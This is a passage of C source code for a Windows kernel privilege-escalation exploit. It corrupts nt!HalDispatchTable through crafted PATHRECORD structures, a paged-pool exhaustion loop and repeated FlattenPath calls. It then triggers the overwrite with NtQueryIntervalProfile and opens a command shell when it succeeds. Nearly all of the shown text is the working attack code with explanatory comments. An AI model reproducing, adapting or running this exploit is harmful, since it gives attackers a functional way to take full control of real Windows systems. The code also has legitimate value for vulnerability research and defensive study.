  671.     HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  672.     PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  673.     PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  674.     PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  675.  
  676.     // Search for a ret instruction to install in the damaged HalDispatchTable.
  677.     HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
  678.                                 - (ULONG) KernelHandle
  679.                                 + (ULONG) ModuleInfo.Modules[0].ImageBase;
  680.  
  681.     LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
  682.  
  683.     // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  684.     // pathrecord chain.
  685.     PathRecord = VirtualAlloc(NULL,
  686.                               sizeof *PathRecord,
  687.                               MEM_COMMIT | MEM_RESERVE,
  688.                               PAGE_EXECUTE_READWRITE);
  689.  
  690.     LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
  691.  
  692.     // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  693.     // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  694.     // loop in EPATHOBJ::bFlatten().
  695.     PathRecord->flags   = 0;
  696.     PathRecord->next    = PathRecord;
  697.     PathRecord->prev    = (PPATHRECORD)(0x42424242);
  698.  
  699.     LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
  700.     LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
  701.     LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
  702.  
  703.     // Now we need to create a PATHRECORD at an address that is also a valid
  704.     // x86 instruction, because the pointer will be interpreted as a function.
  705.     // I've created a list of candidates in DispatchRedirect.
  706.     LogMessage(L_INFO, "Searching for an available stub address...");
  707.  
  708.     // I need to map at least two pages to guarantee the whole structure is
  709.     // available.
  710.     while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
  711.                          PAGE_SIZE * 2,
  712.                          MEM_COMMIT | MEM_RESERVE,
  713.                          PAGE_EXECUTE_READWRITE)) {
  714.  
  715.         LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
  716.                             *DispatchRedirect & ~(PAGE_SIZE - 1),
  717.                             GetLastError());
  718.  
  719.         // This page is not available, try the next candidate.
  720.         if (!*++DispatchRedirect) {
  721.             LogMessage(L_ERROR, "No redirect candidates left, sorry!");
  722.             return 1;
  723.         }
  724.     }
  725.  
  726.     LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
  727.  
  728.     // This PATHRECORD must terminate the list and recover.
  729.     ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
  730.     ExploitRecordExit->next     = NULL;
  731.     ExploitRecordExit->prev     = NULL;
  732.     ExploitRecordExit->flags    = PD_BEGINSUBPATH;
  733.     ExploitRecordExit->count    = 0;
  734.  
  735.     LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
  736.     LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
  737.     LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);
  738.  
  739.     // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
  740.     // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
  741.     // be copied over to the new record. Therefore, we get
  742.     //
  743.     // nt!HalDispatchTable[1] = &ExploitRecordExit.
  744.     //
  745.     // So we make &ExploitRecordExit a valid sequence of instuctions here.
  746.     LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
  747.  
  748.     ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
  749.     ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
  750.     ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
  751.     ExploitRecord.count         = 4;
  752.  
  753.     LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
  754.     LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
  755.     LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);
  756.  
  757.     LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  758.  
  759.     // Generate a large number of Belier Curves made up of pointers to our
  760.     // PATHRECORD object.
  761.     for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  762.         Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  763.         Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  764.         PointTypes[PointNum]    = PT_BEZIERTO;
  765.     }
  766.  
  767.     // Switch to a dedicated desktop so we don't spam the visible desktop with
  768.     // our Lines (Not required, just stops the screen from redrawing slowly).
  769.     SetThreadDesktop(CreateDesktop("DontPanic",
  770.                                    NULL,
  771.                                    NULL,
  772.                                    0,
  773.                                    GENERIC_ALL,
  774.                                    NULL));
  775.  
  776.     // Get a handle to this Desktop.
  777.     Device = GetDC(NULL);
  778.  
  779.     // Take ownership of Mutex
  780.     WaitForSingleObject(Mutex, INFINITE);
  781.  
  782.     // Spawn a thread to cleanup
  783.     Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  784.  
  785.     LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
  786.  
  787.     // We need to cause a specific AllocObject() to fail to trigger the
  788.     // exploitable condition. To do this, I create a large number of rounded
  789.     // rectangular regions until they start failing. I don't think it matters
  790.     // what you use to exhaust paged memory, there is probably a better way.
  791.     //
  792.     // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  793.     // failure. Seriously, do some damn QA Microsoft, wtf.
  794.     for (Size = 1 << 26; Size; Size >>= 1) {
  795.         while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  796.             NumRegion++;
  797.     }
  798.  
  799.     LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  800.  
  801.     LogMessage(L_INFO, "Flattening curves...");
  802.  
  803.     for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
  804.         BeginPath(Device);
  805.         PolyDraw(Device, Points, PointTypes, PointNum);
  806.         EndPath(Device);
  807.         FlattenPath(Device);
  808.         FlattenPath(Device);
  809.  
  810.         // Test if exploitation succeeded.
  811.         NtQueryIntervalProfile(ProfileTotalIssues, Interval);
  812.  
  813.         // Repair any damage.
  814.         *Interval = SavedInterval;
  815.  
  816.         EndPath(Device);
  817.     }
  818.  
  819.     if (Finished) {
  820.         LogMessage(L_INFO, "Success, launching shell...", Finished);
  821.         ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
  822.         LogMessage(L_INFO, "Press any key to exit...");
  823.         getchar();
  824.         ExitProcess(0);
  825.     }
  826.  
  827.     // If we reach here, we didn't trigger the condition. Let the other thread know.
  828.     ReleaseMutex(Mutex);
  829.     WaitForSingleObject(Thread, INFINITE);
  830.     ReleaseDC(NULL, Device);
  831.  
  832.     // Try again...
  833.     LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
  834.     LogMessage(L_INFO, "Press any key to exit...");
  835.     getchar();
  836.     ExitProcess(1);
  837. }
  838.  
  839. // A quick logging routine for debug messages.
  840. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  841. {
  842.     CHAR Buffer[1024] = {0};
  843.     va_list Args;
  844.  
  845.     va_start(Args, Format);
  846.         vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
  847.     va_end(Args);
  848.  
  849.     switch (Level) {
  850.         case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  851.         case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
  852.         case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
  853.         case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  854.     }
  855.  
  856.     fflush(stdout);
  857.     fflush(stderr);
  858.  
  859.     return TRUE;
  860. }
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